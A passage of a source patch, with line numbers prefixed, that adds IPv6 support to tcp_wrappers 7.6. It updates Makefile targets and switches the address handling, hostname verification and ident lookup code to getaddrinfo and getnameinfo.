268+++ tcp_wrappers_7.6/Makefile 2004-04-10 19:22:44.000000000 +0200
269@@ -21,7 +21,7 @@
270 @echo " dynix epix esix freebsd hpux irix4 irix5 irix6 isc iunix"
271 @echo " linux machten mips(untested) ncrsvr4 netbsd next osf power_unix_211"
272 @echo " ptx-2.x ptx-generic pyramid sco sco-nis sco-od2 sco-os5 sinix sunos4"
273- @echo " sunos40 sunos5 sysv4 tandem ultrix unicos7 unicos8 unixware1 unixware2"
274+ @echo " sunos40 sunos5 solaris8 sysv4 tandem ultrix unicos7 unicos8 unixware1 unixware2"
275 @echo " uts215 uxp"
276 @echo
277 @echo "If none of these match your environment, edit the system"
278@@ -131,20 +131,34 @@
279 NETGROUP=-DNETGROUP TLI= SYSTYPE="-systype bsd43" all
280
281 # Freebsd and linux by default have no NIS.
282-386bsd netbsd bsdos:
283+386bsd bsdos:
284 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
285 LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ= NETGROUP= TLI= \
286 EXTRA_CFLAGS=-DSYS_ERRLIST_DEFINED VSYSLOG= all
287
288 freebsd:
289 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
290+ LIBS="-L/usr/local/v6/lib -linet6" \
291 LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ= NETGROUP= TLI= \
292- EXTRA_CFLAGS=-DSYS_ERRLIST_DEFINED VSYSLOG= all
293+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DINET6 -Dss_family=__ss_family -Dss_len=__ss_len" \
294+ VSYSLOG= all
295+
296+netbsd:
297+ @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
298+ LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ= NETGROUP= TLI= \
299+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DINET6 -Dss_family=__ss_family -Dss_len=__ss_len" VSYSLOG= all
300
301 linux:
302 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
303- LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ=setenv.o \
304- NETGROUP= TLI= EXTRA_CFLAGS="-DBROKEN_SO_LINGER" all
305+ LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ= \
306+ NETGROUP="-DNETGROUP" TLI= VSYSLOG= BUGS= \
307+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len" all
308+
309+gnu:
310+ @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
311+ LIBS=-lnsl RANLIB=ranlib ARFLAGS=rv AUX_OBJ= \
312+ NETGROUP=-DNETGROUP TLI= VSYSLOG= BUGS= \
313+ EXTRA_CFLAGS="-DSYS_ERRLIST_DEFINED -DHAVE_STRERROR" all
314
315 # This is good for many SYSV+BSD hybrids with NIS, probably also for HP-UX 7.x.
316 hpux hpux8 hpux9 hpux10:
317@@ -196,6 +210,13 @@
318 NETGROUP=-DNETGROUP AUX_OBJ=setenv.o TLI=-DTLI \
319 BUGS="$(BUGS) -DSOLARIS_24_GETHOSTBYNAME_BUG" all
320
321+# SunOS 5.8 is another SYSV4 variant, but has IPv6 support
322+solaris8:
323+ @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
324+ LIBS="-lsocket -lnsl" RANLIB=echo ARFLAGS=rv VSYSLOG= \
325+ NETGROUP=-DNETGROUP AUX_OBJ=setenv.o TLI=-DTLI \
326+ EXTRA_CFLAGS="-DINET6 -DNO_CLONE_DEVICE -DINT32_T" all
327+
328 # Generic SYSV40
329 esix sysv4:
330 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
331diff -ruN tcp_wrappers_7.6.orig/misc.c tcp_wrappers_7.6/misc.c
332--- tcp_wrappers_7.6.orig/misc.c 1996-02-11 17:01:30.000000000 +0100
333+++ tcp_wrappers_7.6/misc.c 2004-04-10 19:07:43.000000000 +0200
334@@ -58,9 +58,31 @@
335 {
336 char *cp;
337
338+#ifdef INET6
339+ int bracket = 0;
340+
341+ for (cp = string; cp && *cp; cp++) {
342+ switch (*cp) {
343+ case '[':
344+ bracket++;
345+ break;
346+ case ']':
347+ bracket--;
348+ break;
349+ default:
350+ if (bracket == 0 && *cp == delimiter) {
351+ *cp++ = 0;
352+ return cp;
353+ }
354+ break;
355+ }
356+ }
357+ return (NULL);
358+#else
359 if ((cp = strchr(string, delimiter)) != 0)
360 *cp++ = 0;
361 return (cp);
362+#endif
363 }
364
365 /* dot_quad_addr - convert dotted quad to internal form */
366diff -ruN tcp_wrappers_7.6.orig/refuse.c tcp_wrappers_7.6/refuse.c
367--- tcp_wrappers_7.6.orig/refuse.c 1994-12-28 17:42:40.000000000 +0100
368+++ tcp_wrappers_7.6/refuse.c 2004-04-10 19:07:43.000000000 +0200
369@@ -25,7 +25,12 @@
370 void refuse(request)
371 struct request_info *request;
372 {
373+#ifdef INET6
374+ syslog(deny_severity, "refused connect from %s (%s)",
375+ eval_client(request), eval_hostaddr(request->client));
376+#else
377 syslog(deny_severity, "refused connect from %s", eval_client(request));
378+#endif
379 clean_exit(request);
380 /* NOTREACHED */
381 }
382diff -ruN tcp_wrappers_7.6.orig/rfc931.c tcp_wrappers_7.6/rfc931.c
383--- tcp_wrappers_7.6.orig/rfc931.c 1995-01-02 16:11:34.000000000 +0100
384+++ tcp_wrappers_7.6/rfc931.c 2004-04-10 19:07:43.000000000 +0200
385@@ -68,20 +68,50 @@
386 /* rfc931 - return remote user name, given socket structures */
387
388 void rfc931(rmt_sin, our_sin, dest)
389+#ifdef INET6
390+struct sockaddr *rmt_sin;
391+struct sockaddr *our_sin;
392+#else
393 struct sockaddr_in *rmt_sin;
394 struct sockaddr_in *our_sin;
395+#endif
396 char *dest;
397 {
398 unsigned rmt_port;
399 unsigned our_port;
400+#ifdef INET6
401+ struct sockaddr_storage rmt_query_sin;
402+ struct sockaddr_storage our_query_sin;
403+ int alen;
404+#else
405 struct sockaddr_in rmt_query_sin;
406 struct sockaddr_in our_query_sin;
407+#endif
408 char user[256]; /* XXX */
409 char buffer[512]; /* XXX */
410 char *cp;
411 char *result = unknown;
412 FILE *fp;
413
414+#ifdef INET6
415+ /* address family must be the same */
416+ if (rmt_sin->sa_family != our_sin->sa_family) {
417+ STRN_CPY(dest, result, STRING_LENGTH);
418+ return;
419+ }
420+ switch (our_sin->sa_family) {
421+ case AF_INET:
422+ alen = sizeof(struct sockaddr_in);
423+ break;
424+ case AF_INET6:
425+ alen = sizeof(struct sockaddr_in6);
426+ break;
427+ default:
428+ STRN_CPY(dest, result, STRING_LENGTH);
429+ return;
430+ }
431+#endif
432+
433 /*
434 * Use one unbuffered stdio stream for writing to and for reading from
435 * the RFC931 etc. server. This is done because of a bug in the SunOS
436@@ -92,7 +122,11 @@
437 * sockets.
438 */
439
440+#ifdef INET6
441+ if ((fp = fsocket(our_sin->sa_family, SOCK_STREAM, 0)) != 0) {
442+#else
443 if ((fp = fsocket(AF_INET, SOCK_STREAM, 0)) != 0) {
444+#endif
445 setbuf(fp, (char *) 0);
446
447 /*
448@@ -112,6 +146,25 @@
449 * addresses from the query socket.
450 */
451
452+#ifdef INET6
453+ memcpy(&our_query_sin, our_sin, alen);
454+ memcpy(&rmt_query_sin, rmt_sin, alen);
455+ switch (our_sin->sa_family) {
456+ case AF_INET:
457+ ((struct sockaddr_in *)&our_query_sin)->sin_port = htons(ANY_PORT);
458+ ((struct sockaddr_in *)&rmt_query_sin)->sin_port = htons(RFC931_PORT);
459+ break;
460+ case AF_INET6:
461+ ((struct sockaddr_in6 *)&our_query_sin)->sin6_port = htons(ANY_PORT);
462+ ((struct sockaddr_in6 *)&rmt_query_sin)->sin6_port = htons(RFC931_PORT);
463+ break;
464+ }
465+
466+ if (bind(fileno(fp), (struct sockaddr *) & our_query_sin,
467+ alen) >= 0 &&
468+ connect(fileno(fp), (struct sockaddr *) & rmt_query_sin,
469+ alen) >= 0) {
470+#else
471 our_query_sin = *our_sin;
472 our_query_sin.sin_port = htons(ANY_PORT);
473 rmt_query_sin = *rmt_sin;
474@@ -121,6 +174,7 @@
475 sizeof(our_query_sin)) >= 0 &&
476 connect(fileno(fp), (struct sockaddr *) & rmt_query_sin,
477 sizeof(rmt_query_sin)) >= 0) {
478+#endif
479
480 /*
481 * Send query to server. Neglect the risk that a 13-byte
482@@ -129,8 +183,13 @@
483 */
484
485 fprintf(fp, "%u,%u\r\n",
486+#ifdef INET6
487+ ntohs(((struct sockaddr_in *)rmt_sin)->sin_port),
488+ ntohs(((struct sockaddr_in *)our_sin)->sin_port));
489+#else
490 ntohs(rmt_sin->sin_port),
491 ntohs(our_sin->sin_port));
492+#endif
493 fflush(fp);
494
495 /*
496@@ -144,8 +203,13 @@
497 && ferror(fp) == 0 && feof(fp) == 0
498 && sscanf(buffer, "%u , %u : USERID :%*[^:]:%255s",
499 &rmt_port, &our_port, user) == 3
500+#ifdef INET6
501+ && ntohs(((struct sockaddr_in *)rmt_sin)->sin_port) == rmt_port
502+ && ntohs(((struct sockaddr_in *)our_sin)->sin_port) == our_port) {
503+#else
504 && ntohs(rmt_sin->sin_port) == rmt_port
505 && ntohs(our_sin->sin_port) == our_port) {
506+#endif
507
508 /*
509 * Strip trailing carriage return. It is part of the
510diff -ruN tcp_wrappers_7.6.orig/scaffold.c tcp_wrappers_7.6/scaffold.c
511--- tcp_wrappers_7.6.orig/scaffold.c 1997-03-21 19:27:24.000000000 +0100
512+++ tcp_wrappers_7.6/scaffold.c 2004-04-10 19:07:43.000000000 +0200
513@@ -25,7 +25,9 @@
514 #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
515 #endif
516
517+#ifndef INET6
518 extern char *malloc();
519+#endif
520
521 /* Application-specific. */
522
523@@ -39,6 +41,7 @@
524 int deny_severity = LOG_WARNING;
525 int rfc931_timeout = RFC931_TIMEOUT;
526
527+#ifndef INET6
528 /* dup_hostent - create hostent in one memory block */
529
530 static struct hostent *dup_hostent(hp)
531@@ -73,9 +76,46 @@
532 }
533 return (&hb->host);
534 }
535+#endif
536
537 /* find_inet_addr - find all addresses for this host, result to free() */
538
539+#ifdef INET6
540+struct addrinfo *find_inet_addr(host)
541+char *host;
542+{
543+ struct addrinfo hints, *res;
544+
545+ memset(&hints, 0, sizeof(hints));
546+ hints.ai_family = PF_UNSPEC;
547+ hints.ai_socktype = SOCK_STREAM;
548+ hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
549+ if (getaddrinfo(host, NULL, &hints, &res) == 0)
550+ return (res);
551+
552+ memset(&hints, 0, sizeof(hints));
553+ hints.ai_family = PF_UNSPEC;
554+ hints.ai_socktype = SOCK_STREAM;
555+ hints.ai_flags = AI_PASSIVE | AI_CANONNAME;
556+ if (getaddrinfo(host, NULL, &hints, &res) != 0) {
557+ tcpd_warn("%s: host not found", host);
558+ return (0);
559+ }
560+ if (res->ai_family != AF_INET6 && res->ai_family != AF_INET) {
561+ tcpd_warn("%d: not an internet host", res->ai_family);
562+ freeaddrinfo(res);
563+ return (0);
564+ }
565+ if (!res->ai_canonname) {
566+ tcpd_warn("%s: hostname alias", host);
567+ tcpd_warn("(cannot obtain official name)", res->ai_canonname);
568+ } else if (STR_NE(host, res->ai_canonname)) {
569+ tcpd_warn("%s: hostname alias", host);
570+ tcpd_warn("(official name: %.*s)", STRING_LENGTH, res->ai_canonname);
571+ }
572+ return (res);
573+}
574+#else
575 struct hostent *find_inet_addr(host)
576 char *host;
577 {
578@@ -118,6 +158,7 @@
579 }
580 return (dup_hostent(hp));
581 }
582+#endif
583
584 /* check_dns - give each address thorough workout, return address count */
585
586@@ -125,8 +166,13 @@
587 char *host;
588 {
589 struct request_info request;
590+#ifdef INET6
591+ struct sockaddr_storage sin;
592+ struct addrinfo *hp, *res;
593+#else
594 struct sockaddr_in sin;
595 struct hostent *hp;
596+#endif
597 int count;
598 char *addr;
599
600@@ -134,11 +180,18 @@
601 return (0);
602 request_init(&request, RQ_CLIENT_SIN, &sin, 0);
603 sock_methods(&request);
604+#ifndef INET6
605 memset((char *) &sin, 0, sizeof(sin));
606 sin.sin_family = AF_INET;
607+#endif
608
609+#ifdef INET6
610+ for (res = hp, count = 0; res; res = res->ai_next, count++) {
611+ memcpy(&sin, res->ai_addr, res->ai_addrlen);
612+#else
613 for (count = 0; (addr = hp->h_addr_list[count]) != 0; count++) {
614 memcpy((char *) &sin.sin_addr, addr, sizeof(sin.sin_addr));
615+#endif
616
617 /*
618 * Force host name and address conversions. Use the request structure
619@@ -151,7 +204,11 @@
620 tcpd_warn("host address %s->name lookup failed",
621 eval_hostaddr(request.client));
622 }
623+#ifdef INET6
624+ freeaddrinfo(hp);
625+#else
626 free((char *) hp);
627+#endif
628 return (count);
629 }
630
631diff -ruN tcp_wrappers_7.6.orig/scaffold.h tcp_wrappers_7.6/scaffold.h
632--- tcp_wrappers_7.6.orig/scaffold.h 1994-12-31 18:19:20.000000000 +0100
633+++ tcp_wrappers_7.6/scaffold.h 2004-04-10 19:07:43.000000000 +0200
634@@ -4,6 +4,10 @@
635 * Author: Wietse Venema, Eindhoven University of Technology, The Netherlands.
636 */
637
638+#ifdef INET6
639+extern struct addrinfo *find_inet_addr();
640+#else
641 extern struct hostent *find_inet_addr();
642+#endif
643 extern int check_dns();
644 extern int check_path();
645diff -ruN tcp_wrappers_7.6.orig/socket.c tcp_wrappers_7.6/socket.c
646--- tcp_wrappers_7.6.orig/socket.c 2004-04-10 19:22:58.000000000 +0200
647+++ tcp_wrappers_7.6/socket.c 2004-04-10 19:07:43.000000000 +0200
648@@ -24,13 +24,22 @@
649 #include <sys/types.h>
650 #include <sys/param.h>
651 #include <sys/socket.h>
652+#ifdef INT32_T
653+typedef uint32_t u_int32_t;
654+#endif
655 #include <netinet/in.h>
656 #include <netdb.h>
657 #include <stdio.h>
658 #include <syslog.h>
659 #include <string.h>
660
661+#ifdef INET6
662+#ifndef NI_WITHSCOPEID
663+#define NI_WITHSCOPEID 0
664+#endif
665+#else
666 extern char *inet_ntoa();
667+#endif
668
669 /* Local stuff. */
670
671@@ -79,8 +88,13 @@
672 void sock_host(request)
673 struct request_info *request;
674 {
675+#ifdef INET6
676+ static struct sockaddr_storage client;
677+ static struct sockaddr_storage server;
678+#else
679 static struct sockaddr_in client;
680 static struct sockaddr_in server;
681+#endif
682 int len;
683 char buf[BUFSIZ];
684 int fd = request->fd;
685@@ -109,7 +123,11 @@
686 memset(buf, 0 sizeof(buf));
687 #endif
688 }
689+#ifdef INET6
690+ request->client->sin = (struct sockaddr *)&client;
691+#else
692 request->client->sin = &client;
693+#endif
694
695 /*
696 * Determine the server binding. This is used for client username
697@@ -122,7 +140,11 @@
698 tcpd_warn("getsockname: %m");
699 return;
700 }
701+#ifdef INET6
702+ request->server->sin = (struct sockaddr *)&server;
703+#else
704 request->server->sin = &server;
705+#endif
706 }
707
708 /* sock_hostaddr - map endpoint address to printable form */
709@@ -130,10 +152,26 @@
710 void sock_hostaddr(host)
711 struct host_info *host;
712 {
713+#ifdef INET6
714+ struct sockaddr *sin = host->sin;
715+ int salen;
716+
717+ if (!sin)
718+ return;
719+#ifdef SIN6_LEN
720+ salen = sin->sa_len;
721+#else
722+ salen = (sin->sa_family == AF_INET) ? sizeof(struct sockaddr_in)
723+ : sizeof(struct sockaddr_in6);
724+#endif
725+ getnameinfo(sin, salen, host->addr, sizeof(host->addr),
726+ NULL, 0, NI_NUMERICHOST | NI_WITHSCOPEID);
727+#else
728 struct sockaddr_in *sin = host->sin;
729
730 if (sin != 0)
731 STRN_CPY(host->addr, inet_ntoa(sin->sin_addr), sizeof(host->addr));
732+#endif
733 }
734
735 /* sock_hostname - map endpoint address to host name */
736@@ -141,6 +179,160 @@
737 void sock_hostname(host)
738 struct host_info *host;
739 {
740+#ifdef INET6
741+ struct sockaddr *sin = host->sin;
742+ struct sockaddr_in sin4;
743+ struct addrinfo hints, *res, *res0 = NULL;
744+ int salen, alen, err = 1;
745+ char *ap = NULL, *rap, hname[NI_MAXHOST];
746+
747+ if (sin != NULL) {
748+ if (sin->sa_family == AF_INET6) {
749+ struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)sin;
750+
751+ if (IN6_IS_ADDR_V4MAPPED(&sin6->sin6_addr)) {
752+ memset(&sin4, 0, sizeof(sin4));
753+#ifdef SIN6_LEN
754+ sin4.sin_len = sizeof(sin4);
755+#endif
756+ sin4.sin_family = AF_INET;
757+ sin4.sin_port = sin6->sin6_port;
758+ sin4.sin_addr.s_addr = *(u_int32_t *)&sin6->sin6_addr.s6_addr[12];
759+ sin = (struct sockaddr *)&sin4;
760+ }
761+ }
762+ switch (sin->sa_family) {
763+ case AF_INET:
764+ ap = (char *)&((struct sockaddr_in *)sin)->sin_addr;
765+ alen = sizeof(struct in_addr);
766+ salen = sizeof(struct sockaddr_in);
767+ break;
768+ case AF_INET6:
769+ ap = (char *)&((struct sockaddr_in6 *)sin)->sin6_addr;
770+ alen = sizeof(struct in6_addr);
771+ salen = sizeof(struct sockaddr_in6);
772+ break;
773+ default:
774+ break;
775+ }
776+ if (ap)
777+ err = getnameinfo(sin, salen, hname, sizeof(hname),
778+ NULL, 0, NI_WITHSCOPEID | NI_NAMEREQD);
779+ }
780+ if (!err) {
781+
782+ STRN_CPY(host->name, hname, sizeof(host->name));
783+
784+ /* reject numeric addresses */
785+ memset(&hints, 0, sizeof(hints));
786+ hints.ai_family = sin->sa_family;
787+ hints.ai_socktype = SOCK_STREAM;
788+ hints.ai_flags = AI_PASSIVE | AI_CANONNAME | AI_NUMERICHOST;
789+ if ((err = getaddrinfo(host->name, NULL, &hints, &res0) == 0)) {
790+ freeaddrinfo(res0);
791+ res0 = NULL;
792+ tcpd_warn("host name/name mismatch: "
793+ "reverse lookup results in non-FQDN %s",
794+ host->name);
795+ strcpy(host->name, paranoid); /* name is bad, clobber it */
796+ }
797+ err = !err;
798+ }
799+ if (!err) {
800+ /* we are now sure that this is non-numeric */
801+
802+ /*
803+ * Verify that the address is a member of the address list returned
804+ * by gethostbyname(hostname).
805+ *
806+ * Verify also that gethostbyaddr() and gethostbyname() return the same
807+ * hostname, or rshd and rlogind may still end up being spoofed.
808+ *
809+ * On some sites, gethostbyname("localhost") returns "localhost.domain".
810+ * This is a DNS artefact. We treat it as a special case. When we
811+ * can't believe the address list from gethostbyname("localhost")
812+ * we're in big trouble anyway.
813+ */
814+
815+ memset(&hints, 0, sizeof(hints));
816+ hints.ai_family = sin->sa_family;
817+ hints.ai_socktype = SOCK_STREAM;
818+ hints.ai_flags = AI_PASSIVE | AI_CANONNAME;
819+ if (getaddrinfo(host->name, NULL, &hints, &res0) != 0) {
820+
821+ /*
822+ * Unable to verify that the host name matches the address. This
823+ * may be a transient problem or a botched name server setup.
824+ */
825+
826+ tcpd_warn("can't verify hostname: getaddrinfo(%s, %s) failed",
827+ host->name,
828+ (sin->sa_family == AF_INET) ? "AF_INET" : "AF_INET6");
829+
830+ } else if ((res0->ai_canonname == NULL
831+ || STR_NE(host->name, res0->ai_canonname))
832+ && STR_NE(host->name, "localhost")) {
833+
834+ /*
835+ * The gethostbyaddr() and gethostbyname() calls did not return
836+ * the same hostname. This could be a nameserver configuration
837+ * problem. It could also be that someone is trying to spoof us.
838+ */
839+
840+ tcpd_warn("host name/name mismatch: %s != %.*s",
841+ host->name, STRING_LENGTH,
842+ (res0->ai_canonname == NULL) ? "" : res0->ai_canonname);
843+
844+ } else {
845+
846+ /*
847+ * The address should be a member of the address list returned by
848+ * gethostbyname(). We should first verify that the h_addrtype
849+ * field is AF_INET, but this program has already caused too much
850+ * grief on systems with broken library code.
851+ */
852+
853+ for (res = res0; res; res = res->ai_next) {
854+ if (res->ai_family != sin->sa_family)
855+ continue;
856+ switch (res->ai_family) {
857+ case AF_INET:
858+ rap = (char *)&((struct sockaddr_in *)res->ai_addr)->sin_addr;
859+ break;
860+ case AF_INET6:
861+ /* need to check scope_id */
862+ if (((struct sockaddr_in6 *)sin)->sin6_scope_id !=
863+ ((struct sockaddr_in6 *)res->ai_addr)->sin6_scope_id) {
864+ continue;
865+ }
866+ rap = (char *)&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr;
867+ break;
868+ default:
869+ continue;
870+ }
871+ if (memcmp(rap, ap, alen) == 0) {
872+ freeaddrinfo(res0);
873+ return; /* name is good, keep it */
874+ }
875+ }
876+
877+ /*
878+ * The host name does not map to the initial address. Perhaps
879+ * someone has messed up. Perhaps someone compromised a name
880+ * server.
881+ */
882+
883+ getnameinfo(sin, salen, hname, sizeof(hname),
884+ NULL, 0, NI_NUMERICHOST | NI_WITHSCOPEID);
885+ tcpd_warn("host name/address mismatch: %s != %.*s",
886+ hname, STRING_LENGTH,
887+ (res0->ai_canonname == NULL) ? "" : res0->ai_canonname);
888+ }
889+ strcpy(host->name, paranoid); /* name is bad, clobber it */
890+ if (res0)
891+ freeaddrinfo(res0);
892+ }
893+#else /* INET6 */
894 struct sockaddr_in *sin = host->sin;
895 struct hostent *hp;
896 int i;
897@@ -220,6 +412,7 @@
898 }
899 strcpy(host->name, paranoid); /* name is bad, clobber it */
900 }
901+#endif /* INET6 */
902 }
903
904 /* sock_sink - absorb unreceived IP datagram */
905@@ -228,7 +421,11 @@
906 int fd;
907 {
908 char buf[BUFSIZ];
909+#ifdef INET6
910+ struct sockaddr_storage sin;
911+#else
912 struct sockaddr_in sin;
913+#endif
914 int size = sizeof(sin);
915
916 /*
917diff -ruN tcp_wrappers_7.6.orig/tcpd.c tcp_wrappers_7.6/tcpd.c
918--- tcp_wrappers_7.6.orig/tcpd.c 1996-02-11 17:01:33.000000000 +0100
919+++ tcp_wrappers_7.6/tcpd.c 2004-04-10 19:07:43.000000000 +0200
920@@ -120,7 +120,12 @@
921
922 /* Report request and invoke the real daemon program. */
923
924+#ifdef INET6
925+ syslog(allow_severity, "connect from %s (%s)",
926+ eval_client(&request), eval_hostaddr(request.client));
927+#else
928 syslog(allow_severity, "connect from %s", eval_client(&request));
929+#endif
930 closelog();
931 (void) execv(path, argv);
932 syslog(LOG_ERR, "error: cannot execute %s: %m", path);
933diff -ruN tcp_wrappers_7.6.orig/tcpdchk.c tcp_wrappers_7.6/tcpdchk.c
934--- tcp_wrappers_7.6.orig/tcpdchk.c 1997-02-12 02:13:25.000000000 +0100
935+++ tcp_wrappers_7.6/tcpdchk.c 2004-04-10 19:07:43.000000000 +0200
936@@ -22,6 +22,9 @@
937
938 #include <sys/types.h>
939 #include <sys/stat.h>
940+#ifdef INET6
941+#include <sys/socket.h>
942+#endif
943 #include <netinet/in.h>
944 #include <arpa/inet.h>
945 #include <stdio.h>
946@@ -397,6 +400,31 @@
947 }
948 }
949
950+#ifdef INET6
951+static int is_inet6_addr(pat)
952+ char *pat;
953+{
954+ struct addrinfo hints, *res;
955+ int len, ret;
956+ char ch;
957+
958+ if (*pat != '[')
959+ return (0);
960+ len = strlen(pat);
961+ if ((ch = pat[len - 1]) != ']')
962+ return (0);
963+ pat[len - 1] = '\0';
964+ memset(&hints, 0, sizeof(hints));
965+ hints.ai_family = AF_INET6;
966+ hints.ai_socktype = SOCK_STREAM;
967+ hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
968+ if ((ret = getaddrinfo(pat + 1, NULL, &hints, &res)) == 0)
969+ freeaddrinfo(res);
970+ pat[len - 1] = ch;
971+ return (ret == 0);
972+}
973+#endif
974+
975 /* check_host - criticize host pattern */
976
977 static int check_host(pat)
978@@ -423,14 +451,27 @@
979 #endif
980 #endif
981 } else if (mask = split_at(pat, '/')) { /* network/netmask */
982+#ifdef INET6
983+ int mask_len;
984+
985+ if ((dot_quad_addr(pat) == INADDR_NONE
986+ || dot_quad_addr(mask) == INADDR_NONE)
987+ && (!is_inet6_addr(pat)
988+ || ((mask_len = atoi(mask)) < 0 || mask_len > 128)))
989+#else
990 if (dot_quad_addr(pat) == INADDR_NONE
991 || dot_quad_addr(mask) == INADDR_NONE)
992+#endif
993 tcpd_warn("%s/%s: bad net/mask pattern", pat, mask);
994 } else if (STR_EQ(pat, "FAIL")) { /* obsolete */
995 tcpd_warn("FAIL is no longer recognized");
996 tcpd_warn("(use EXCEPT or DENY instead)");
997 } else if (reserved_name(pat)) { /* other reserved */
998 /* void */ ;
999+#ifdef INET6
1000+ } else if (is_inet6_addr(pat)) { /* IPv6 address */
1001+ addr_count = 1;
1002+#endif
1003 } else if (NOT_INADDR(pat)) { /* internet name */
1004 if (pat[strlen(pat) - 1] == '.') {
1005 tcpd_warn("%s: domain or host name ends in dot", pat);
1006diff -ruN tcp_wrappers_7.6.orig/tcpd.h tcp_wrappers_7.6/tcpd.h
1007--- tcp_wrappers_7.6.orig/tcpd.h 1996-03-19 16:22:25.000000000 +0100
1008+++ tcp_wrappers_7.6/tcpd.h 2004-04-10 19:07:43.000000000 +0200
1009@@ -11,7 +11,11 @@
1010 struct host_info {
1011 char name[STRING_LENGTH]; /* access via eval_hostname(host) */
1012 char addr[STRING_LENGTH]; /* access via eval_hostaddr(host) */
1013+#ifdef INET6
1014+ struct sockaddr *sin; /* socket address or 0 */
1015+#else
1016 struct sockaddr_in *sin; /* socket address or 0 */
1017+#endif
1018 struct t_unitdata *unit; /* TLI transport address or 0 */
1019 struct request_info *request; /* for shared information */
1020 };
1021diff -ruN tcp_wrappers_7.6.orig/tcpdmatch.c tcp_wrappers_7.6/tcpdmatch.c
1022--- tcp_wrappers_7.6.orig/tcpdmatch.c 1996-02-11 17:01:36.000000000 +0100
1023+++ tcp_wrappers_7.6/tcpdmatch.c 2004-04-10 19:07:43.000000000 +0200
1024@@ -57,7 +57,11 @@
1025 int argc;
1026 char **argv;
1027 {
1028+#ifdef INET6
1029+ struct addrinfo hints, *hp, *res;
1030+#else
1031 struct hostent *hp;
1032+#endif
1033 char *myname = argv[0];
1034 char *client;
1035 char *server;
1036@@ -68,8 +72,13 @@
1037 int ch;
1038 char *inetcf = 0;
1039 int count;
1040+#ifdef INET6
1041+ struct sockaddr_storage server_sin;
1042+ struct sockaddr_storage client_sin;
1043+#else
1044 struct sockaddr_in server_sin;
1045 struct sockaddr_in client_sin;
1046+#endif
1047 struct stat st;
1048
1049 /*
1050@@ -172,13 +181,20 @@
1051 if (NOT_INADDR(server) == 0 || HOSTNAME_KNOWN(server)) {
1052 if ((hp = find_inet_addr(server)) == 0)
1053 exit(1);
1054+#ifndef INET6
1055 memset((char *) &server_sin, 0, sizeof(server_sin));
1056 server_sin.sin_family = AF_INET;
1057+#endif
1058 request_set(&request, RQ_SERVER_SIN, &server_sin, 0);
1059
1060+#ifdef INET6
1061+ for (res = hp, count = 0; res; res = res->ai_next, count++) {
1062+ memcpy(&server_sin, res->ai_addr, res->ai_addrlen);
1063+#else
1064 for (count = 0; (addr = hp->h_addr_list[count]) != 0; count++) {
1065 memcpy((char *) &server_sin.sin_addr, addr,
1066 sizeof(server_sin.sin_addr));
1067+#endif
1068
1069 /*
1070 * Force evaluation of server host name and address. Host name
1071@@ -194,7 +210,11 @@
1072 fprintf(stderr, "Please specify an address instead\n");
1073 exit(1);
1074 }
1075+#ifdef INET6
1076+ freeaddrinfo(hp);
1077+#else
1078 free((char *) hp);
1079+#endif
1080 } else {
1081 request_set(&request, RQ_SERVER_NAME, server, 0);
1082 }
1083@@ -208,6 +228,18 @@
1084 tcpdmatch(&request);
1085 exit(0);
1086 }
1087+#ifdef INET6
1088+ memset(&hints, 0, sizeof(hints));
1089+ hints.ai_family = AF_INET6;
1090+ hints.ai_socktype = SOCK_STREAM;
1091+ hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
1092+ if (getaddrinfo(client, NULL, &hints, &res) == 0) {
1093+ freeaddrinfo(res);
1094+ request_set(&request, RQ_CLIENT_ADDR, client, 0);
1095+ tcpdmatch(&request);
1096+ exit(0);
1097+ }
1098+#endif
1099
1100 /*
1101 * Perhaps they are testing special client hostname patterns that aren't
1102@@ -229,6 +261,34 @@
1103 */
1104 if ((hp = find_inet_addr(client)) == 0)
1105 exit(1);
1106+#ifdef INET6
1107+ request_set(&request, RQ_CLIENT_SIN, &client_sin, 0);
1108+
1109+ for (res = hp, count = 0; res; res = res->ai_next, count++) {
1110+ memcpy(&client_sin, res->ai_addr, res->ai_addrlen);
1111+
1112+ /*
1113+ * getnameinfo() doesn't do reverse lookup against link-local
1114+ * address. So, we pass through host name evaluation against
1115+ * such addresses.
1116+ */
1117+ if (res->ai_family != AF_INET6 ||
1118+ !IN6_IS_ADDR_LINKLOCAL(&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr)) {
1119+ /*
1120+ * Force evaluation of client host name and address. Host name
1121+ * conflicts will be reported while eval_hostname() does its job.
1122+ */
1123+ request_set(&request, RQ_CLIENT_NAME, "", RQ_CLIENT_ADDR, "", 0);
1124+ if (STR_EQ(eval_hostname(request.client), unknown))
1125+ tcpd_warn("host address %s->name lookup failed",
1126+ eval_hostaddr(request.client));
1127+ }
1128+ tcpdmatch(&request);
1129+ if (res->ai_next)
1130+ printf("\n");
1131+ }
1132+ freeaddrinfo(hp);
1133+#else
1134 memset((char *) &client_sin, 0, sizeof(client_sin));
1135 client_sin.sin_family = AF_INET;
1136 request_set(&request, RQ_CLIENT_SIN, &client_sin, 0);
1137@@ -250,6 +310,7 @@
1138 printf("\n");
1139 }
1140 free((char *) hp);
1141+#endif
1142 exit(0);
1143 }
1144
